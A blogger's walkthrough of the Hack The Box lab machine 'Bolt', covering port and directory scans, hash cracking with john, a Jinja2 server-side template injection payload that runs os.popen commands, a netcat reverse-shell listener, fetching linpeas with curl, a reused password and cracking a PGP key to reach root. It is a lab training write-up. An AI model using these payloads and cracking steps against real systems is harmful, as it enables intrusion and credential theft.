Writeup for the medium ranked HTB box Bolt

Posted on Feb 19, 2022


This box was a real enumeration-challenge, most of my time on this was spent on examining webserver content, mysql-database and interesting files on the box OS. Vulnerabilities on this box is Server Side Template Injection, and a weak password on a encrypted PGP message.

Tools used for this box was nmap, dirb, searchsploit, nikto, python3, burpsuite, ffuf, hashcat, gpg2john and john. The environment I used was a kali-VM (in Parallels Desktop 17) on my MACOS-machine.

Let’s GO!


Portscanning with NMAP

The output of this NMAP scan shows that port 22, 80 and 443 is open.

└─$ cat nmap.init            
# Nmap 7.91 scan initiated Sat Oct  9 12:49:54 2021 as: nmap -T4 -sV -sC -o nmap.init bolt.htb
Nmap scan report for bolt.htb (
Host is up (0.063s latency).
Not shown: 997 closed ports
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About 
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct  9 12:50:25 2021 -- 1 IP address (1 host up) scanned in 31.18 seconds

The scan also outputs a subdomain on port 443, passbolt.bolt.htb. Let’s add that to our /etc/hosts.

└─$ cat /etc/hosts    
...... bolt.htb passbolt.bolt.htb

And passbolt.bolt.htb gives us a password recovery site. Nothing that we could use now it seems.


Directory scanning with DIRB

As always with webservers, let’s scan for directories.

└─$ cat dirb     

DIRB v2.22    
By The Dark Raver

START_TIME: Thu Oct 21 19:24:21 2021
URL_BASE: http://bolt.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: http://bolt.htb/ ----
+ http://bolt.htb/contact (CODE:200|SIZE:26293)
+ http://bolt.htb/download (CODE:200|SIZE:18570)
+ http://bolt.htb/index (CODE:308|SIZE:239)
+ http://bolt.htb/index.html (CODE:200|SIZE:30347)
+ http://bolt.htb/login (CODE:200|SIZE:9287)
+ http://bolt.htb/logout (CODE:302|SIZE:209)
+ http://bolt.htb/pricing (CODE:200|SIZE:31731)
+ http://bolt.htb/profile (CODE:500|SIZE:290)
+ http://bolt.htb/register (CODE:200|SIZE:11038)
+ http://bolt.htb/services (CODE:200|SIZE:22443)
+ http://bolt.htb/sign-up (CODE:200|SIZE:11038)

END_TIME: Thu Oct 21 19:27:52 2021

Vulnerability scanning with NIKTO

And also scan for vulnerabilities.

└─$ nikto -h bolt.htb                                            13- Nikto v2.1.6
+ Target IP:
+ Target Hostname:    bolt.htb
+ Target Port:        80
+ Start Time:         2021-10-22 19:23:18 (GMT2)
+ Server: nginx/1.18.0 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /static/assets/img/favicon/favicon-16x16.png, inode: 1614339783.0, size: 904, mtime: 1397822576
+ Allowed HTTP Methods: HEAD, OPTIONS, GET 
+ /admin/config.php: PHP Config file may contain database IDs and passwords.
+ /admin/cplogfile.log: DevBB 1.0 final (http://www.mybboard.com) log file is readable remotely. Upgrade to the latest version.
+ /admin/system_footer.php: myphpnuke version 1.8.8_final_7 reveals detailed system information.
+ OSVDB-3233: /admin/admin_phpinfo.php4: Mon Album from http://www.3dsrc.com version 0.6.2d allows remote admin access. This should be protected.
+ OSVDB-5034: /admin/login.php?action=insert&username=test&password=test: phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify.
+ OSVDB-4804: //admin/admin.shtml: Axis network camera may allow admin bypass by using double-slashes before URLs.
+ OSVDB-2842: //admin/aindex.htm: FlexWATCH firmware 2.2 is vulnerable to authentication bypass by prepending an extra '/'. http://packetstorm.linuxsecurity.com/0310-exploits/FlexWATCH.txt
+ OSVDB-2922: /admin/wg_user-info.ml: WebGate Web Eye exposes user names and passwords.
+ OSVDB-3093: /admin/auth.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/credit_card_info.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/exec.php3: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/objects.inc.php4: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/script.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/settings.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/upload.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-4238: /admin/adminproc.asp: Xpede administration page may be available. The /admin directory should be protected.
+ OSVDB-4239: /admin/datasource.asp: Xpede page reveals SQL account name. The /admin directory should be protected.
+ OSVDB-9624: /admin/admin.php?adminpy=1: PY-Membres 4.2 may allow administrator access.
+ /admin/account.asp: Admin login page/section found.
+ /admin/account.html: Admin login page/section found.
+ /admin/account.php: Admin login page/section found.
+ /admin/controlpanel.asp: Admin login page/section found.
+ /admin/controlpanel.html: Admin login page/section found.
+ /admin/controlpanel.php: Admin login page/section found.
+ /admin/cp.asp: Admin login page/section found.
+ /admin/cp.html: Admin login page/section found.
+ /admin/cp.php: Admin login page/section found.
+ /admin/home.asp: Admin login page/section found.
+ /admin/home.php: Admin login page/section found.
+ /admin/index.asp: Admin login page/section found.
+ /admin/index.html: Admin login page/section found.
+ /admin/login.asp: Admin login page/section found.
+ /admin/login.html: Admin login page/section found.
+ /admin/login.php: Admin login page/section found.
+ /admin/html: Tomcat Manager / Host Manager interface found (pass protected)
+ /admin/status: Tomcat Server Status interface found (pass protected)
+ 7788 requests: 0 error(s) and 42 item(s) reported on remote host
+ End Time:           2021-10-22 19:29:23 (GMT2) (365 seconds)
+ 1 host(s) tested


Enumeration of website and downloaded file

Bolt seems to be a company that build websites. There are a few interesting directories outputted from the DIRB-scan above. /login that we do not have creds for (yet)…


… and /download, where we can download a file named image.tar, let’s do it!


└─$ tar -xf image.tar

└─$ ls                    

Ok, so there are some folders, with files and more subfolders and .tar-files. I have no better plan than to start from the top and enumerate my way down.

└─$ cd a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 
└─$ ls
json  layer.tar  VERSION
└─$ sudo tar -xf layer.tar

└─$ ls
db.sqlite3  json  layer.tar  root  tmp  VERSION

└─$ cat db.sqlite3                                                     
������k�9tableUserUserCREATE TABLE "User" (
        id INTEGER NOT NULL, 
        username VARCHAR, 
        email VARCHAR, 
        password BLOB, 
        email_confirmed BOOLEAN, 
        profile_update VARCHAR(80), 
        PRIMARY KEY (id), 
        UNIQUE (username), 
        UNIQUE (email)
��<)[email protected]$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q._User_1User
��      admin
��)     [email protected]

After a while we got a hash. Let’s crack it!

└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash                                          255Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 512/512 AVX512BW 16x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbeefdeadbeef         (?)
1g 0:00:00:00 DONE (2021-10-23 20:43) 1.960g/s 338823p/s 338823c/s 338823C/s doida..curtis13
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We can now login to http://bolt.htb/login/ with the creds.


There is a function named “Direct chat”, where we can see a conversation between Alexander Pierce and Sarah Bullock, and they are talking about a guy named eddie. So, three possible usernames found. Otherwise, there are nothing of interest (at least that I found).

Scanning for subdomains

So now let’s scan for subdomains.

└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://FUZZ.bolt.htb/

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3

 :: Method           : GET
 :: URL              : http://FUZZ.bolt.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405

mail                    [Status: 200, Size: 4943, Words: 345, Lines: 99]
demo                    [Status: 302, Size: 219, Words: 22, Lines: 4]

This scan gives us two domains named demo.bolt.htb and mail.bolt.htb. Let’s add them to our /etc/hosts so it looks like this:

└─$ cat /etc/hosts    
...... bolt.htb passbolt.bolt.htb mail.bolt.htb demo.bolt.htb

Enumeration subdomains

Subdomain mail has a login-form but the creds do not work.


And the same for subdomain mail, this site also has a “Create new account”-function, let’s try that.


Finding invite code

At first, I thought, since I found the creds for Admin in image.tar, that step was done but there are more stuff in these directories we need. Since we needed a invite code for registration we can search for that from the downloaded image.tar.

└─# grep -R "invite"                                                                        
grep: 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar: binary file matches
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/forms.py:    invite_code = TextField('Invite Code', id='invite_code'    , validators=[DataRequired()])
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/templates/accounts/register.html:            {{ form.invite_code(placeholder="Invite Code", class="form-control") }}
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py:        code          = request.form['invite_code']

└─# cat 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py        130---------------------------------
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
    login_form = LoginForm(request.form)
    create_account_form = CreateAccountForm(request.form)
    if 'register' in request.form:

        username  = request.form['username']
        email     = request.form['email'   ]
        code      = request.form['invite_code']
        if code != 'dead-beaf-dead-beaf':
            return render_template('code-500.html')
        data = User.query.filter_by(email=email).first()
        if data is None and code == 'dead-beaf-dead-beaf':

So now we have the invite code, and we can create an account over at http://demo.bolt.htb/register. After that we login and see our new user profile-page. Time for enumeration again…


Also the credentials work on http://mail.bolt.htb/.


Server-Side Template Injection

So the interesting thing I found here was on the profile/settings-page:


When pressing submit, there is a mail popping up in the mail-client on http://mail.bolt.htb/. And after confirming the profile change, there is a “confirmed” mail returning with the value “test” that I entered in the Name-field.


Since the application is built on Flask, I started DDG-ing exploit for that and found a guide here. Instead of writing “test” in the Name-field, type “{{ 5 * 5 }}” and it return 25 in the confirmed email. That means the system is vulnerable to SSTI (Server-Side Template Injection).

Initial shell

The steps from the guide above where a good introduction but all the commands didn’t work so head over to PayloadsAllTheThings, there is a section called “Jinja2 - Remote Code Execution”. So just replace “{{ 5 * 5 }}” with “{{{{ self._TemplateReference__context.cycler.init.globals.os.popen(‘id’).read() }}}}” and it returns the user www-data.

So now let’s try to get a reverse shell, set up a listener on our local machine and then type the payload like this:


└─$ nc -nvlp 1337                                                                                                1listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 54730
bash: cannot set terminal process group (921): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/demo$ ls
www-data@bolt:~/demo$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

This step was not the easiest, the mail had a counter, and on the 51st (!) time I got it right… First, I just tried to cat ssh-keys but I did not have the correct permissions for that, then I tried a bunch of different reverse shells and then finally it worked!

The shell isn’t the best so let’s stabiles it, this time with python3.

www-data@bolt:/etc/passbolt$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation enumeration

Now we have a shell so let’s get linpeas to the box. First, we start a http server on our local machine:

└─$ ls
dirsearch      nc32.exe     smbmap.py
enum4linux.pl  nc64.exe     update.sh
ffuf           payload.elf  winPEASany.exe
impacket       plink32.exe  winPEAS.bat
LinEnum.sh     plink64.exe  winPEASx64.exe
linpeas.sh     pspy32       winPEASx86.exe
mimikatz       pspy64

└─$ python3 -m http.server
Serving HTTP on port 8000 (<>) ...

Then we can use curl to download the file on the box. Chmod it and run it, also save the output to a file.

www-data@bolt:~/demo$ curl -o linpeas.sh
curl -o linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  317k  100  317k    0     0   668k      0 --:--:-- --:--:-- --:--:--  666k
www-data@bolt:~/demo$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@bolt:~/demo$ ./linpeas.sh | tee out.txt
./linpeas.sh | tee out.txt

The output shows a lot of output with ’/etc/passbolt/’* so I started enumerate the files in that folder and found the passbolt.php, and in it there were a password for a mysql database (port 3306), perfect!

www-data@bolt:~/demo$ cat /etc/passbolt/passbolt.php
cat /etc/passbolt/passbolt.php
return [
    'App' => [
        // A base URL to use for absolute links.
        // The url where the passbolt instance will be reachable to your end users.
        // This information is need to render images in emails for example
        'fullBaseUrl' => 'https://passbolt.bolt.htb',

    // Database configuration.
    'Datasources' => [
        'default' => [
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'deadbeefdeadbeef',
            'database' => 'passboltdb',

MySQL database enumeration

Enumerating the mysql database ‘passbolt’, and all I could really find was a encrypted message in ’table’ ‘secrets’ (remember this for later (root)).

www-data@bolt:~/demo$ mysql -u passbolt -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 10513
Server version: 8.0.26-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
| Database           |
| information_schema |
| passboltdb         |
2 rows in set (0.00 sec)

mysql> use passboltdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
| Tables_in_passboltdb  |
| account_settings      |
| action_logs           |
| actions               |
| authentication_tokens |
| avatars               |
| comments              |
| email_queue           |
| entities_history      |
| favorites             |
| gpgkeys               |
| groups                |
| groups_users          |
| organization_settings |
| permissions           |
| permissions_history   |
| phinxlog              |
| profiles              |
| resource_types        |
| resources             |
| roles                 |
| secret_accesses       |
| secrets               |
| secrets_history       |
| user_agents           |
| users                 |

mysql> select * from secrets;
| 643a8b12-c42c-4507-8646-2f8712af88f8 | 4e184ee6-e436-47fb-91c9-dccb57f250bc | cd0270db-c83f-4f44-b7ac-76609b397746 | -----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org


Claiming the user flag

Here I was exhausted after enumerating the mysql database passboltdb and was out of ideas, so then I just tried to login with the same password as for the mysql-user, with one of the OS-users, and it ACTUALLY WORKED… both locally and with SSH, bye 1 hour of my life :).

www-data@bolt:~/demo$ ls /home
ls /home
clark  eddie

www-data@bolt:~/demo$ su eddie
su eddie
Password: deadbeefdeadbeef

eddie@bolt:/var/www/demo$ whoami 
eddie@bolt:/var/www/demo$ cd /home/eddie
cd /home/eddie
eddie@bolt:~$ cat user.*
cat user.*

More enumeration with new user

eddie cannot run anything as sudo.

eddie@bolt:~$ sudo -l
[sudo] password for eddie: 
Sorry, user eddie may not run sudo on bolt.

So, let’s see all the files eddie can read.

eddie@bolt:~$ find / -user "eddie" 2>/dev/null | tee perm.txt
/sys/fs/cgroup/unified/user.slice/user-1000.slice/[email protected]/gvfs-afc-volume-monitor.service/cgroup.max.depth

At the end of the output, it writes ‘/var/mail/eddie’, let’s check that.

eddie@bolt:~$ cat /var/mail/eddie 
From [email protected]  Thu Feb 25 14:20:19 2021
Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received: by bolt.htb (Postfix, from userid 1001)
        id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <[email protected]>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <[email protected]>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <[email protected]>

Hey Eddie,

The password management server is up and running.  Go ahead and download the extension to your browser and get logged in.  Be sure to back up your private key because I CANNOT recover it.  Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords.  Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...


Eddie got a mail from Clark, saying he need to download an extension to his browser, and also he need his private key to recover the password. Let’s run a new linpeas.sh-scan to see if it finds anything related to “private keys”.

[+] Searching ssl/ssh files
ChallengeResponseAuthentication no                                            
UsePAM yes
Possible private SSH keys were found!
/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log                                              
 --> /etc/hosts.allow file found, read the rules:

The output shows us to some interesting directories. The mail in /var/mail/eddie there were also a hint about some extensions that needed to be downloaded. The files above seem exactly what we need!

In the file ’/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log’ we can find ‘PGP PRIVATE KEY’ and ‘PGP PUBLIC KEY’. Save them both locally on your machine.

Take away the ’\r\n’ and replace with a line break so it looks like the snippet below, a tip is to do it in a text editor like Sublime Text, just mark the ’\r\n’, press ‘CTRL + F’, select ‘Find all’ and press ‘return’.


Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org


Then to extract the password from the private key we first convert the key to a hash-format.

└─$ sudo gpg2john abc.priv > gpghash
[sudo] password for erra: 

File abc
Eddie Johnson:$gpg$*1*668*2048*2b518595f971db147efe739e2716523786988fb0ee243e5981659a314dfd0779dbba8e14e6649ba4e00cc515b9b4055a9783be133817763e161b9a8d2f2741aba80bceef6024465cba02af3bccd372297a90e078aa95579afbd60b6171cd82fd1b32a9dd016175c088e7bef9b883041eaffe933383434752686688f9d235f1d26c006a698dd6cc132d8acb94c4eceebf010845d69cd9e114873538712f2cd50c8b9ca3bcb9bbc3d83e32564f99031776ac986195e643880483ac80d3f7f1b9143563418ddea7bb71d114c4f24e41134dcdac4662e934d955aeccae92038dbed32f300ac5abed65960e26486c5da59f0d17b71ad9a8fe7a5e6bb77b8c31b68b56e7f4025f01d534be45ab36a7c0818febe23fa577ca346023feefa2bfef0899dd860e05a54d8b3e8bd430f40791a52a20067fde1861d977adf222725658a4661927d65b877cb8ac977601990cfbdb27413f5acc25ff1f691556bc8e5264cffaebbea7e7b9d73de6c719e0a7b004d331eaada86e812e3db60904eaf73a1b79c6e68e74beb6b71f6d644afbf591426418976d68c4e580cbc60b6fdd113f239ae2acd1e1dc51cb74b96b3c2f082bc0214886e1c3cebb3611311d9112d61194df22fb3ceb5783ee7d4a61b544886b389f638fc85d5139f64997014ec38ac59e65b842d92afb50184ccc3549a57dcdb3fc8720cc394912aed931007b53da1c635d302e840da2e6342803831891ab1ccc1669f3cc3240b8d31eded96696d7ad1525c4d277a4d3123abecafdbdde207714539c2e546cd45c4452051394e5d00e711fa5353f817be4fa6827aa0f1428dfb93a918e93975fb4baf3297aa3b7fec33470cf2741237a629b869a762684602057f3e3e6df9c97631caa7589dc4b26653162dfb2f2cf508cbe375496ba735830c2c00f151cdd50c522afe33dbe4265d2*3*254*8*9*16*b81f0847e01fb836c8cc7c8a2af31f19*16777216*34af9ef3956d5ad8:::Eddie Johnson <[email protected]>::abc

Then let’s crack the hash with john.

└─$ john gpghash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbeefdeadbeef   (Eddie Johnson)
1g 0:00:16:35 DONE (2021-10-26 18:35) 0.001004g/s 43.02p/s 43.02c/s 43.02C/s merrychristmas..menudo
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So now we have a ‘PGP PUBLIC KEY’, ‘PGP PRIVATE KEY’ and a ‘password’. The mail from Clark to Eddie also mentioned a browser extensions (Go ahead and download the extension to your browser and get logged in…) so I found an extension called “Local PGP - Browser Encryption and Decryption”. There we can add our data:


Now we just need to use the “decrypt”-function in the extension, paste in the encrypted message from the mysql database mentioned above and boom we got the root password!

eddie@bolt:~$ su root
root@bolt:/home/eddie# cd /root
root@bolt:~# ls
root.txt  snap
root@bolt:~# cat root.txt 


This box was a real challenge, and I spent most of the time on this at enumerating, since there were so many different sites, subsites, subdomains, mysql-db, OpenPGP-message etc. It took a long time to finish the box, but it was worth it. Now I know more about how to crack OpenPGP-messages, SSTI-attacks and, I think my enumeration skills got a little bit better after this.

Hope you all found this writeup useful!

Happy hacking!

/Eric (cyberrauken)